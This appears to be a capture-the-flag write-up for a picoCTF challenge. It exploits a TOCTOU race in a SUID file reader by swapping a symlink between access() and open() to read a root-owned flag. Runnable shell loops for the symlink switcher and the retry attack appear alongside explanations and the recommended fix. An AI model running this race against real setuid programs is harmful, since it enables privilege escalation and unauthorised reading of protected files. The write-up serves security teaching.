Description
A SUID binary first calls access() to check if the current user can read a file, then opens and reads that file. Exploit the TOCTOU (Time-Of-Check Time-Of-Use) race condition by swapping a symlink between the access() check and the open() call to read the protected flag file.
Setup
SSH into the server with the provided credentials.
Locate the SUID binary and the flag file path.
ssh <USER>@<HOST> -p <PORT>find / -perm -4000 2>/dev/null | head -20Solution
Walk me through it- Step 1Confirm the access-then-open pattern with ltraceRun the binary under ltrace and watch the library call sequence. You should see access() return 0 followed by open() on the same path with no atomic re-validation in between.bash
ltrace ./txtreader /tmp/dummy.txt 2>&1 | head -20bashstrings ./txtreaderLearn more
A TOCTOU (Time-Of-Check Time-Of-Use) race condition occurs when a program checks a condition (the check) and then acts on it (the use), but the underlying resource can change between those two operations. In this challenge, the binary uses
access(path, R_OK)to verify that the real user (not the effective SUID user) has read permission, then immediately callsopen(path).The classic ltrace fingerprint that confirms TOCTOU looks like this:
access("/tmp/dummy.txt", R_OK) = 0 open("/tmp/dummy.txt", O_RDONLY) = 3 read(3, "dummy\n", 4096) = 6 puts("dummy") = 6Vulnerable pseudocode in the binary: if (access(argv[1], R_OK) == 0) { // CHECK: as real uid int fd = open(argv[1], O_RDONLY); // USE: as euid (root!) read(fd, buf, ...); puts(buf); } The kernel evaluates access() with your real user ID (so you can only point it at files YOU can read), but open() in a setuid binary uses the effective UID (root) and follows symlinks at the time of the open() call.The gap between
access()returning andopen()executing is tiny, typically 10 to 100 microseconds on a quiet box, but that window is enough. If you can switch the filesystem object at that path from a file you own to a symlink pointing at/flag, theopen()will follow the symlink and read the flag with the SUID binary's elevated permissions. - Step 2Set up the race condition infrastructureCreate a writable dummy file and a symlink. Write a loop that rapidly alternates the symlink between the dummy file and /flag.bash
echo 'dummy' > /tmp/dummy.txtbashln -sf /tmp/dummy.txt /tmp/race_linkbash# Switcher loop pinned to CPU 1 so it runs concurrently with the attacker on CPU 0:bashtaskset -c 1 bash -c 'while true; do ln -sf /tmp/dummy.txt /tmp/race_link; ln -sf /flag /tmp/race_link; done' &Learn more
The attack requires two concurrent processes: one that continuously flips the symlink target, and one that repeatedly invokes the SUID binary.
ln -sfon Linux implements the swap viarename(2), which is documented as atomic: "If newpath already exists, it will be atomically replaced, so that there is no point at which another process attempting to access newpath will find it missing." In practice this means no other process can ever observe a partial state where the path is missing or half-replaced; readers see either the old target or the new target, never an in-between.Why
taskset -c 1matters. If both loops run on the same CPU, the kernel scheduler interleaves them in time slices, so they effectively serialize. Pinning the switcher to a different physical core lets it run truly in parallel with the attacker, multiplying the number of effective swaps per second and dramatically narrowing the gap between syscalls in real wall-clock time.A tight loop with no sleep maximizes the number of attempts per second, which increases the probability of hitting the race window. With both loops running at ~50,000 iterations/sec, even a 1-in-1000 hit rate lands the flag within seconds. An even faster approach uses C with
rename(2)directly, avoiding shell overhead entirely. - Step 3Race the binary to read the flagWhile the switcher loop runs, repeatedly invoke the SUID binary pointing at the symlink with a bounded retry count. Eventually the timing aligns and the flag is printed.bash
# Bounded retry loop (~100k attempts), exits early on success:bashfor i in $(seq 1 100000); dobashout=$(./txtreader /tmp/race_link 2>/dev/null)bashcase "$out" in *picoCTF*) echo "$out"; break;; esacbashdonebash# Or with a wall-clock timeout:bashtimeout 30s bash -c 'while ! ./txtreader /tmp/race_link 2>/dev/null | grep picoCTF; do :; done'Learn more
Each iteration of the outer loop calls the binary, which calls
access('/tmp/race_link', R_OK). If the link currently points at/tmp/dummy.txt(which you own),access()returns 0. Then if the switcher flips the link to/flagbeforeopen()is called, the binary opens/flagwith its root EUID and reads the flag.Successful race timeline: switcher loop attacker loop ------------- ------------- rename(link -> /tmp/dummy) ./txtreader /tmp/race_link access(link) -> /tmp/dummy (you own it) returns 0 rename(link -> /flag) <--- WIN: flips here open(link) -> /flag (follows symlink with root euid!) read+puts -> picoCTF{...}Why probability matters. The race window is roughly the duration of a few syscalls, around 10 to 100 microseconds. The switcher must hit that exact window. Bounding the loop with
seq 1 100000ortimeout 30sprevents an unbounded spin if the race never lands due to scheduler quirks.TOCTOU vulnerabilities are classified as CWE-367. Real-world exploits have used them to escalate privileges in package managers, cron jobs, and backup utilities. The correct fix is to use
openat()withO_NOFOLLOWand file descriptor-based operations, or to check permissions after opening rather than before. For more on Linux command-line workflows used in this exploit, see Linux CLI for CTF.
Flag
picoCTF{...}
This challenge was not solved during the competition. Follow the steps above to reproduce the solution.